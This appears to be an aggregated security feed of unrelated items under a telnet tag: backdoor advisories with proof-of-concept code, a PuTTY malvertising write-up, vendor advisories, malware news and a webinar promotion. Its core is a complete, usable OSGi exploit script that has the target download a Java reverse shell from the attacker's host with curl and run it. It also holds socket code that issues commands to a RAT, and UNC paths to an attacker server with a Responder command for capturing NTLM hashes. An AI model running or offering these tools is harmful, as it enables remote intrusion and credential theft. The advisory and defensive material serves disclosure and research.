The PsyRAT 0.01 malware listens on random high TCP ports 53297, 53211, 532116 and so forth. Connecting to an infected host returns a logon prompt for PASS. However, you can enter anything or nothing at all and execute commands made available by the backdoor.

    Discovery / credits: Malvuln (John Page aka hyp3rlinx) (c) 2024Original source: https://malvuln.com/advisory/0e6e40aad3e8d46e3c0c26ccc6ab94b3.txtContact: malvuln13@gmail.comMedia: twitter.com/malvulnThreat: Backdoor.Win32.Agent.ju (PSYRAT)Vulnerability: Authentication Bypass RCEFamily: PSYRATType: PE32MD5: 0e6e40aad3e8d46e3c0c26ccc6ab94b3Vuln ID: MVID-2024-0677Disclosure: 04/01/2024Description: The PsyRAT 0.01 malware listens on random high TCP ports 53297, 53211, 532116 and so forth. Connecting to an infected host returns a logon prompt for PASS. However, you can enter anything or nothing at all and execute commands made available by the backdoor. The malware will return a BADPWD and or "Invalid command" error string but the command executes regardless. Custom client is required as it seems to dislike CRLF \r\n characters when using netcat or telnet.getdrives C\ - Fixed Drive^D\ - CD-ROM^cpuinfo Windows Version |System Directory C\WINDOWS\system32|Computer Name DESKTOP-2C4IQJO|Username VICTIM|CPU Speed 2808 MHz|CPU Type GenuineIntel|------|PsyRAT Version PsyRAT 1.02|IP/Port 192.168.18.130|Password |Install name |Reg value |PHP URLexe_sho [Program_Name] starts a program Exploit/PoC:from socket import *MALWARE_HOST="x.x.x.x"PORT=55116s=socket(AF_INET, SOCK_STREAM)s.connect((MALWARE_HOST, PORT))#send bad passwordPAYLOAD="malvuln" s.send(PAYLOAD.encode())#call commandsPAYLOAD="exe_sho calc" s.send(PAYLOAD.encode())s.close()Disclaimer: The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. Do not attempt to download Malware samples. The author of this website takes no responsibility for any kind of damages occurring from improper Malware handling or the downloading of ANY Malware mentioned on this website or elsewhere. All content Copyright (c) Malvuln.com (TM).

Backdoor.Win32.Agent.ju (PSYRAT) MVID-2024-0677 Bypass / Command Execution

A malicious ad for the popular admin tool PuTTY leads victims to a fake site that downloads malware.

Malware loaders (also known as droppers or downloaders) are a popular commodity in the criminal underground. Their primary function is to successfully compromise a machine and deploy one or multiple additional payloads.

A good loader avoids detection and identifies victims as legitimate (i.e. not sandboxes) before pushing other malware. This part is quite critical as the value of a loader is directly tied to the satisfaction of its “customers”.

In this blog post, we describe a malvertising campaign with a loader that was new to us. The program is written in the Go language and uses an interesting technique to deploy its follow-up payload, the Rhadamanthys stealer.

PuTTY is a very popular SSH and Telnet client for Windows that has been used by IT admins for years. The threat actor bought an ad that claims to be the PuTTY homepage and appeared at the top of the Google search results page, right before the official website.

In this example, the ad looks suspicious simply because the ad snippet shows a domain name (_arnaudpairoto\[.\]com_) that is completely unrelated. This is not always the case, and we continue to see many malicious ads that exactly match the impersonated brand.

**Fake PuTTY site**

The ad URL points to the attacker controlled domain where they can easily defeat security checks by showing a “legitimate” page to visitors that are not real victims. For example, a crawler, sandbox or scanner, will see this half finished blog:

Real victims coming from the US will be redirected to a fake site instead that looks and feels exactly like putty.org. One of the big differences though is the download link.

The malicious payload is downloaded via a 2 step redirection chain which is something we don’t always see.

puttyconnect\[.\]info/1.php  
HTTP/1.1 302 Found  
Location: astrosphere\[.\]world/onserver3.php

astrosphere\[.\]world/onserver3.php  
HTTP/1.1 200 OK  
Server: nginx/1.24.0  
Content-Type: application/octet-stream  
Content-Length: 13198274  
Connection: keep-alive  
Content-Description: File Transfer  
Content-Disposition: attachment; filename="PuTTy.exe"

We believe the astrosphere\[.\]world server is performing some checks for proxies while also logging the victim’s IP address. This IP address will later be checked before downloading the secondary payload.

That PuTTy.exe is malware, a dropper written in the Go language (version 1.21.0).

Its author may have given it the name “_Dropper 1.3_“:

**Follow-up payload**

Upon executing the dropper, there is an IP check for the victim’s public IP address. This is likely done to only continue with users that have gone through the malicious ad and downloaded the malware from the fake site.

zodiacrealm\[.\]info/api.php?action=check\_ip&ip=\[IP Address\]

If a match is found, the dropper proceeds to retrieve a follow-up payload from another server (192.121.16\[.\]228:22) as seen in the image below:

To get this data, we see it uses the SSHv2 (Secure Shell 2.0) protocol implemented via OpenSSH on a Ubuntu server. We can only think of using this protocol to make the malware download more covert.

That payload is Rhadamanthys which is executed by the parent process PuTTy.exe:

**Malvertising / loader combo**

We have seen different types of loaders via malvertising campaigns, including FakeBat which we profiled recently. Given how closely the loader is tied to the malvertising infrastructure it is quite likely that the same threat actor is controlling both. The service they offer to other criminals is one of malware delivery where they take care of the entire deployment process, from ad to loader to final payload.

We reported this campaign to Google. Malwarebytes and ThreatDown users are protected as we detect the fake PuTTY installer as _Trojan.Script.GO_.

ThreatDown users that have DNS Filtering can enable ad blocking in their console to prevent attacks that originate from malicious ads.

**Indicators of Compromise**

Decoy ad domain

arnaudpairoto\[.\]com

Fake site

puttyconnect\[.\]info

PuTTY

astrosphere\[.\]world
0caa772186814dbf84856293f102c7538980bcd31b70c1836be236e9fa05c48d

IP check

zodiacrealm\[.\]info

Rhadamanthys

192.121.16\[.\]228:22
bea1d58d168b267c27b1028b47bd6ad19e249630abb7c03cfffede8568749203

 New Go loader pushes Rhadamanthys stealer 

OSGi versions 3.8 through 3.18 suffer from a remote code execution vulnerability.

    #!/usr/bin/python# Exploit Title: [OSGi v3.8-3.18 Console RCE]# Date: [2023-07-28]# Exploit Author: [Andrzej Olchawa, Milenko Starcik,#                  VisionSpace Technologies GmbH]# Exploit Repository:#           [https://github.com/visionspacetec/offsec-osgi-exploits.git]# Vendor Homepage: [https://eclipse.dev/equinox]# Software Link: [https://archive.eclipse.org/equinox/]# Version: [3.8 - 3.18]# Tested on: [Linux kali 6.3.0-kali1-amd64]# License: [MIT]## Usage:# python exploit.py --help## Example:# python exploit.py --rhost=192.168.0.133 --rport=1337 --lhost=192.168.0.100 \#                                                      --lport=4444"""This is an exploit that allows to open a reverse shell connection fromthe system running OSGi v3.8-3.18 and earlier."""import argparseimport socketimport sysimport threadingfrom functools import partialfrom http.server import BaseHTTPRequestHandler, HTTPServer# Stage 1 of the handshake messageHANDSHAKE_STAGE_1 = \    b"\xff\xfd\x01\xff\xfd" \    b"\x03\xff\xfb\x1f\xff" \    b"\xfa\x1f\x00\x74\x00" \    b"\x37\xff\xf0\xff\xfb" \    b"\x18"# Stage 2 of the handshake messageHANDSHAKE_STAGE_2 = \    b"\xff\xfa\x18\x00\x58" \    b"\x54\x45\x52\x4d\x2d" \    b"\x32\x35\x36\x43\x4f" \    b"\x4c\x4f\x52\xff\xf0"# The buffer of this size is enough to handle the telnet handshakeBUFFER_SIZE = 2 * 1024class HandlerClass(BaseHTTPRequestHandler):    """    This class overrides the BaseHTTPRequestHandler. It provides a specific    functionality used to deliver a payload to the target host.    """    _lhost: str    _lport: int    def __init__(self, lhost, lport, *args, **kwargs):        self._lhost = lhost        self._lport = lport        super().__init__(*args, **kwargs)    def _set_response(self):        self.send_response(200)        self.send_header("Content-type", "text/html")        self.end_headers()    def do_GET(self):  # pylint: disable=C0103        """        This method is responsible for the playload delivery.        """        print("Delivering the payload...")        self._set_response()        self.wfile.write(generate_revshell_payload(            self._lhost, self._lport).encode('utf-8'))        raise KeyboardInterrupt    def log_message(self, format, *args):  # pylint: disable=W0622        """        This method redefines a built-in method to suppress        BaseHTTPRequestHandler log messages.        """        returndef generate_revshell_payload(lhost, lport):    """    This function generates the Revershe Shell payload that will    be executed on the target host.    """    payload = \        "import java.io.IOException;import java.io.InputStream;" \        "import java.io.OutputStream;import java.net.Socket;" \        "class RevShell {public static void main(String[] args) " \        "throws Exception { String host=\"%s\";int port=%d;" \        "String cmd=\"sh\";Process p=new ProcessBuilder(cmd)." \        "redirectErrorStream(true).start();Socket s=new Socket(host,port);" \        "InputStream pi=p.getInputStream(),pe=p.getErrorStream(), " \        "si=s.getInputStream();OutputStream po=p.getOutputStream()," \        "so=s.getOutputStream();while(!s.isClosed()){while(pi.available()" \        ">0)so.write(pi.read());while(pe.available()>0)so.write(pe.read());" \        "while(si.available()>0)po.write(si.read());so.flush();po.flush();" \        "Thread.sleep(50);try {p.exitValue();break;}catch (Exception e){}};" \        "p.destroy();s.close();}}\n" % (            lhost, lport)    return payloaddef run_payload_delivery(lhost, lport):    """    This function is responsible for payload delivery.    """    print("Setting up the HTTP server for payload delivery...")    handler_class = partial(HandlerClass, lhost, lport)    server_address = ('', 80)    httpd = HTTPServer(server_address, handler_class)    try:        print("[+] HTTP server is running.")        httpd.serve_forever()    except KeyboardInterrupt:        print("[+] Payload delivered.")    except Exception as err:  # pylint: disable=broad-except        print("[-] Failed payload delivery!")        print(err)    finally:        httpd.server_close()def generate_stage_1(lhost):    """    This function generates the stage 1 of the payload.    """    stage_1 = b"fork \"curl http://%s -o ./RevShell.java\"\n" % (        lhost.encode()    )    return stage_1def generate_stage_2():    """    This function generates the stage 2 of the payload.    """    stage_2 = b"fork \"java ./RevShell.java\"\n"    return stage_2def establish_connection(rhost, rport):    """    This function creates a socket and establishes the connection    to the target host.    """    print("[*] Connecting to OSGi Console...")    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)    sock.connect((rhost, rport))    print("[+] Connected.")    return sockdef process_handshake(sock):    """    This function process the handshake with the target host.    """    print("[*] Processing the handshake...")    sock.recv(BUFFER_SIZE)    sock.send(HANDSHAKE_STAGE_1)    sock.recv(BUFFER_SIZE)    sock.send(HANDSHAKE_STAGE_2)    sock.recv(BUFFER_SIZE)    sock.recv(BUFFER_SIZE)def deliver_payload(sock, lhost):    """    This function executes the first stage of the exploitation.    It triggers the payload delivery mechanism to the target host.    """    stage_1 = generate_stage_1(lhost)    print("[*] Triggering the payload delivery...")    sock.send(stage_1)    sock.recv(BUFFER_SIZE)    sock.recv(BUFFER_SIZE)def execute_payload(sock):    """    This function executes the second stage of the exploitation.    It sends payload which is responsible for code execution.    """    stage_2 = generate_stage_2()    print("[*] Executing the payload...")    sock.send(stage_2)    sock.recv(BUFFER_SIZE)    sock.recv(BUFFER_SIZE)    print("[+] Payload executed.")def exploit(args, thread):    """    This function sends the multistaged payload to the tareget host.    """    try:        sock = establish_connection(args.rhost, args.rport)        process_handshake(sock)        deliver_payload(sock, args.lhost)        # Join the thread running the HTTP server        # and wait for payload delivery        thread.join()        execute_payload(sock)        sock.close()        print("[+] Done.")    except socket.error as err:        print("[-] Could not connect!")        print(err)        sys.exit()def parse():    """    This fnction is used to parse and return command-line arguments.    """    parser = argparse.ArgumentParser(        prog="OSGi-3.8-console-RCE",        description="This tool will let you open a reverse shell from the "                    "system that is running OSGi with the '-console' "                    "option in versions between 3.8 and 3.18.",        epilog="Happy Hacking! :)",    )    parser.add_argument("--rhost", dest="rhost",                        help="remote host", type=str, required=True)    parser.add_argument("--rport", dest="rport",                        help="remote port", type=int, required=True)    parser.add_argument("--lhost", dest="lhost",                        help="local host", type=str, required=False)    parser.add_argument("--lport", dest="lport",                        help="local port", type=int, required=False)    parser.add_argument("--version", action="version",                        version="%(prog)s 0.1.0")    return parser.parse_args()def main(args):    """    Main fuction.    """    thread = threading.Thread(        target=run_payload_delivery, args=(args.lhost, args.lport))    thread.start()    exploit(args, thread)if __name__ == "__main__":    main(parse())

OSGi 3.18 Remote Code Execution

Backdoor.Win32.Jeemp.c malware suffers from a hardcoded credential vulnerability.

    Discovery / credits: Malvuln (John Page aka hyp3rlinx) (c) 2024Original source: https://malvuln.com/advisory/d6b192a4027c7d635499133ca6ce067f.txtContact: malvuln13@gmail.comMedia: twitter.com/malvulnThreat: Backdoor.Win32.Jeemp.cVulnerability: Cleartext Hardcoded CredentialsDescription: The malware listens on three TCP ports which are randomized e.g. 9719,7562,8687,8948,7376,8396 so forth. There is an ESMTP server component "jeem.mail.pv" requiring authentication for the GDATA, SDATA commands and sample is packed using UPX. However, it is trivial to unpack using the -d flag which reveals the cleartext hardcoded credentials "jeepower" and "jeespower" in the PE file.Family: JeempType: PE32MD5: d6b192a4027c7d635499133ca6ce067fVuln ID: MVID-2024-0672Dropped files: msrexe.exeDisclosure: 02/28/2024Exploit/PoC:TELNET x.x.x.x 7562220 jeem.mail.pv ESMTPHELO hate250 okGDATA250 okNeed passwordjeepower[prx]#######250 okSDATA250 okNeed passwordabc123!503 wrong!SDATA250 okNeed passwordjeespower250 okDisclaimer: The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. Do not attempt to download Malware samples. The author of this website takes no responsibility for any kind of damages occurring from improper Malware handling or the downloading of ANY Malware mentioned on this website or elsewhere. All content Copyright (c) Malvuln.com (TM).

Backdoor.Win32.Jeemp.c MVID-2024-0672 Hardcoded Credential

An issue was discovered on WyreStorm Apollo VX20 devices prior to version 1.3.58. The TELNET service prompts for a password only after a valid username is entered. Attackers who can reach the Apollo VX20 Telnet service can determine valid accounts allowing for account discovery.

    [+] Credits: John Page (aka hyp3rlinx)    [+] Website: hyp3rlinx.altervista.org[+] Source:  http://hyp3rlinx.altervista.org/advisories/WYRESTORM_APOLLO_VX20_ACCOUNT_ENUMERATION_CVE-2024-25734.txt[+] twitter.com/hyp3rlinx[+] ISR: ApparitionSec      [Vendor]www.wyrestorm.com[Product]APOLLO VX20 < 1.3.58[Vulnerability Type]Account Enumeration[CVE Reference]CVE-2024-25734[Security Issue]An issue was discovered on WyreStorm Apollo VX20 devices before 1.3.58. The TELNET service prompts for a password only after a valid username is entered.Attackers who can reach the Apollo VX20 Telnet service can determine valid accounts, this can potentially allow for brute force attack on a valid account.[Exploit/POC]TELNET x.x.x.x 23username:aausername:bbusername:adminpassword:[Network Access]Remote [Affected Product Code Base] APOLLO VX20 - < 1.3.58, fixed in v1.3.58[Severity]Medium[Disclosure Timeline]Vendor Notification: January 18, 2024Vendor released fixed firmware v1.3.58: February 2, 2024February 11, 2024 : Public Disclosure[+] DisclaimerThe information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise.Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, andthat due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due creditis given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibilityfor any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related informationor exploits by the author or elsewhere. All content (c).hyp3rlinx

WyreStorm Apollo VX20 Account Enumeration

IBM i Access Client Solutions (ACS) versions 1.1.2 through 1.1.4 and 1.1.4.3 through 1.1.9.4 suffer from a remote credential theft vulnerability.

[+] Credits: John Page (aka hyp3rlinx)      
[+] Website: hyp3rlinx.altervista.org  
[+] Source:  http://hyp3rlinx.altervista.org/advisories/IBMI_ACCESS_CLIENT_REMOTE_CREDENTIAL_THEFT_CVE-2024-22318.txt  
[+] twitter.com/hyp3rlinx  
[+] ISR: ApparitionSec     

[Vendor]  
www.ibm.com

[Product]  
IBM i Access Client Solutions

[Versions]  
All

[Remediation/Fixes]  
None

[Vulnerability Type]  
Remote Credential Theft

[CVE Reference]  
CVE-2024-22318

[Security Issue]  
IBM i Access Client Solutions (ACS) is vulnerable to remote credential theft when NT LAN Manager (NTLM) is enabled on Windows workstations.  
Attackers can create UNC capable paths within ACS 5250 display terminal configuration ".HOD" or ".WS" files to point to a hostile server.  
If NTLM is enabled and the user opens an attacker supplied file the Windows operating system will try to authenticate using the current user's session.  
The attacker controlled server could then capture the NTLM hash information to obtain the user's credentials.

[References]  
https://www.ibm.com/support/pages/node/7116091

[Exploit/POC]  
The client access .HOD File vulnerable parameters:

1) screenHistoryArchiveLocation=\\ATTACKER-SERVER\RemoteCredTheftP0c

[KeyRemapFile]  
2) Filename= \\ATTACKER-SERVER\RemoteCredTheftP0c

Next, Kali Linux Responder.py to capture: Responder.py -I eth0 -A -vv

The client access legacy .WS File vulnerable parameters:  
DefaultKeyboard= \\ATTACKER-SERVER\RemoteCredTheftP0c

Example, client access older .WS file

[Profile]  
ID=WS  
Version=9  
[Telnet5250]  
AssociatedPrinterStartMinimized=N  
AssociatedPrinterTimeout=0  
SSLClientAuthentication=Y  
HostName=PWN  
AssociatedPrinterClose=N  
Security=CA400  
CertSelection=AUTOSELECT  
AutoReconnect=Y  
[KeepAlive]  
KeepAliveTimeOut=0  
[Keyboard]  
IBMDefaultKeyboard=N  
DefaultKeyboard=\\ATTACKER-SERVER\RemoteCredTheftP0c  
[Communication]  
Link=telnet5250

[Network Access]  
Remote

[Severity]  
Medium

[Disclosure Timeline]  
Vendor Notification:  December 14, 2023  
Vendor Addresses Issue: February 7, 2024  
February 8, 2024 : Public Disclosure

[+] Disclaimer  
The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise.  
Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and  
that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit  
is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility  
for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information  
or exploits by the author or elsewhere. All content (c).

hyp3rlinx

IBM i Access Client Solutions Remote Credential Theft

By Deeba Ahmed
Another day, another malware threat against Linux systems!
This is a post from HackRead.com Read the original post: Mirai-based NoaBot Botnet Targeting Linux Systems with Cryptominer

A noticeable difference between NoaBot and Mirai is that rather than DDoS attacks, the botnet targets weak passwords connecting SSH connections to install cryptocurrency mining software.

Cybersecurity researchers at Akamai have discovered cryptomining malware called NoaBot based on the notorious **Mirai botnet**. The crytojacking malware NoaBot is currently targeting Linux servers and has been active since January 2023.

According to Akamai, a noticeable difference between NoaBot and Mirai is that rather than **DDoS attacks** (Distributed Denial of Service attacks), the malware targets weak passwords connecting SSH connections and installs cryptocurrency mining software, allowing attackers to generate digital coins using victims’ computing resources, electricity, and bandwidth.

Here, it is important to mention that NoaBot malware has also been used to deliver **P2PInfect**, a separate worm discovered by Palo Alto Networks in July 2023.

NoaBot is compiled using the UClibc code library, unlike the standard Mirai library. This changes how the antivirus protections detect NoaBot, categorizing it as an SSH scanner or generic trojan. The malware is statically compiled and stripped of symbols, while strings are obfuscated instead of saved as plaintext, making it harder for reverse engineers to extract details.

The NoaBot binary runs from a randomly generated folder, making searching devices harder. The standard Mirai dictionary is replaced with a large one, and a custom-made SSH scanner is used. Post-breach capabilities include installing a new SSH-authorized key.

This botnet has grown significantly, with over 800 unique IP addresses worldwide showing signs of NoaBot infections. The worm is a **customized version of Mirai**, a malware that infects Linux-based servers, routers, web cameras, and other Internet of Things devices.

Interestingly, the malware includes embedded song lyrics from the “**Who’s Ready for Tomorrow**” song by Rat Boy and IBDY, but later samples do not have these. The botnet also adds command line arguments, such as the “noa” flag, which installs a persistence method after a reboot.

Screenshot: Akamai

Screenshot: Akamai

Threat actors modified the **XMRig miner** to extract the mining configuration before execution. The miner’s functions involve function calls and signals. The configuration contains the mining pool and wallet address details. However, IDA misses the binary name and pool IP placeholder, allowing attackers to estimate the profitability of the cryptomining gig.

Researchers noted that the attackers were running their private pool instead of a public one, eliminating the need for a wallet. However, domains are no longer resolvable with Google’s DNS, and no recent incidents involving the dropping of the miner are noticed, suggesting the threat actors may have halted the campaign for better opportunities.

Hackread has been following incidents involving Mirai since it was **discovered** in 2016. Mirai is a self-replicating malware targeting Linux-based IoT devices, used to infect other vulnerable devices.

In 2016, it was used in a massive **DDoS attack against Dyn DNS**, paralyzing the internet. The creators released the source code, allowing crime groups to incorporate it into their attacks. Mirai scans the internet for Telnet connections via infected devices to crack Telnet passwords, then targets additional devices using the same technique.

**Akamai urges** Linux server administrators to protect their systems from NoaBot by keeping software updated, using strong passwords, enabling two-factor authentication, and monitoring unauthorized activity. This is crucial as NoaBot can launch DDoS, data breaches, and **cryptojacking attacks**.

****_RELATED ARTICLES_****

1.  **Hackers behind Mirai botnet & DYN DDoS attacks plead guilty**
2.  **Hackers behind Mirai botnet to avoid jail for working with the FBI**
3.  **Tiny Mantis Botnet Can Launch Powerful DDoS Attacks Than Mirai**
4.  **Reaper malware outshines Mirai; hits millions of IoT devices worldwide**
5.  **Mirai Variant ‘OMG’ Turns IoT Devices into Proxy Servers for Cryptomining**

Mirai-based NoaBot Botnet Targeting Linux Systems with Cryptominer

Digital expansion inevitably increases the external attack surface, making you susceptible to cyberthreats. Threat actors increasingly exploit the vulnerabilities stemming from software and infrastructure exposed to the internet; this ironically includes security tools, particularly firewalls and VPNs, which give attackers direct network access to execute their attacks. In fact, Gartner&

Cyber Security / Zero Trust

Digital expansion inevitably increases the external attack surface, making you susceptible to cyberthreats. Threat actors increasingly exploit the vulnerabilities stemming from software and infrastructure exposed to the internet; this ironically includes security tools, particularly firewalls and VPNs, which give attackers direct network access to execute their attacks. In fact, Gartner identified attack surface expansion as a major trend to watch.

So, it is not surprising that External Attack Surface Management (EASM) is a growing priority for organizations. But traditional castle-and-moat-based security architectures are ineffective at protecting enterprises against today's sophisticated attacks, which increasingly leverage AI and as-a-service models to maximize speed and damage.

Zero trust security is the best way to minimize the attack surface, prevent compromise, eliminate lateral movement, and stop data loss.

**Register here** and join Apoorva Ravikrishnan, Senior Manager of Product Marketing, to learn:

*   The most prominent trends in today's attack landscape
*   How attackers discover and exploit infrastructure as part of their attack sequence
*   How to leverage zero trust security to minimize your attack surface

**Leverage Zero Trust Security to Minimize your Attack Surface**

Ready to harness the power of zero trust security to minimize your organization's attack surface? Join our insightful webinar with Zscaler to learn how to tackle an ever-evolving attack surface.

Reserve Your Webinar Spot ➜

****Why attend?****

This will not be the first time you might have come across a webinar on minimizing the attack surface. Shadow IT, public cloud web apps, increased usage of open source code, unsecured servers running RDP/VNC/SSH/Telnet/SNMP, IoT systems with legacy services, TLS/SSL misconfigurations, and vulnerable remote access systems like VPNs – all increase the attack surface. In truth, many of you would be thinking about reducing your attack surface daily. However, this is an excellent opportunity to hear about how even security tools such as VPNs and Firewalls increase your attack surface and what you can do about it.

*   Understand how to take control of your digital footprint to reduce your external attack surface.
*   Get to know why traditional security architecture is not built for digital transformation.
*   Understand more about User-to-App segmentation for granular access and risk reduction.
*   Get actionable insights from Zscaler – the world's largest security cloud and a pioneer in Zero Trust architecture.

Tap into our security expertise to learn more about leveraging Zero Trust to minimize attack surfaces and keep your data, applications, and users secure. **Register for the webinar here**.

Found this article interesting? Follow us on Twitter __ and LinkedIn to read more exclusive content we post.

Webinar – Leverage Zero Trust Security to Minimize Your Attack Surface

Gentoo Linux Security Advisory 202312-17 - Multiple vulnerabilities have been discovered in OpenSSH, the worst of which could lead to code execution. Versions greater than or equal to 9.6_p1 are affected.

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -  
Gentoo Linux Security Advisory                           GLSA 202312-17  
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -  
                                           https://security.gentoo.org/  
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -

 Severity: High  
    Title: OpenSSH: Multiple Vulnerabilities  
     Date: December 28, 2023  
     Bugs: #920292, #920722  
       ID: 202312-17

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -

Synopsis  
=======  
Multiple vulnerabilities have been discovered in OpenSSH, the worst of  
which could lead to code execution.

Background  
=========  
OpenSSH is a free application suite consisting of server and clients  
that replace tools like telnet, rlogin, rcp and ftp with more secure  
versions offering additional functionality.

Affected packages  
================  
Package           Vulnerable    Unaffected  
----------------  ------------  ------------  
net-misc/openssh  < 9.6_p1      >= 9.6_p1

Description  
==========  
Multiple vulnerabilities have been discovered in OpenSSH. Please review  
the CVE identifiers referenced below for details.

Impact  
=====  
Please review the referenced CVE identifiers for details.

Workaround  
=========  
There is no known workaround at this time.

Resolution  
=========  
All OpenSSH users should upgrade to the latest version:

  # emerge --sync  
  # emerge --ask --oneshot --verbose ">=net-misc/openssh-9.6_p1"

References  
=========  
[ 1 ] CVE-2023-48795  
      https://nvd.nist.gov/vuln/detail/CVE-2023-48795  
[ 2 ] CVE-2023-51385  
      https://nvd.nist.gov/vuln/detail/CVE-2023-51385  
[ 3 ] CVE-2023-51385,CVE-2023-48795  
      https://nvd.nist.gov/vuln/detail/CVE-2023-51385,CVE-2023-48795

Availability  
===========  
This GLSA and any updates to it are available for viewing at  
the Gentoo Security Website:

 https://security.gentoo.org/glsa/202312-17

Concerns?  
========  
Security is a primary focus of Gentoo Linux and ensuring the  
confidentiality and security of our users' machines is of utmost  
importance to us. Any security concerns should be addressed to  
security@gentoo.org or alternatively, you may file a bug at  
https://bugs.gentoo.org.

License  
======  
Copyright 2023 Gentoo Foundation, Inc; referenced text  
belongs to its owner(s).

The contents of this document are licensed under the  
Creative Commons - Attribution / Share Alike license.

https://creativecommons.org/licenses/by-sa/2.5

Gentoo Linux Security Advisory 202312-17

This is the second installment of the Azure Serial Console blog, which provides insights to improve defenders’ preparedness when investigating Azure Serial Console activity on Azure Linux virtual machines. While the first blog post discussed various tracing activities, such as using Azure activity and Sysmon logs on Windows virtual machines to trace serial console activity, this blog outlines how to enable logging for Azure Linux virtual machines using Sysmon for Linux to capture and how to send these events to a log analytics workspace.

Tag

#telnet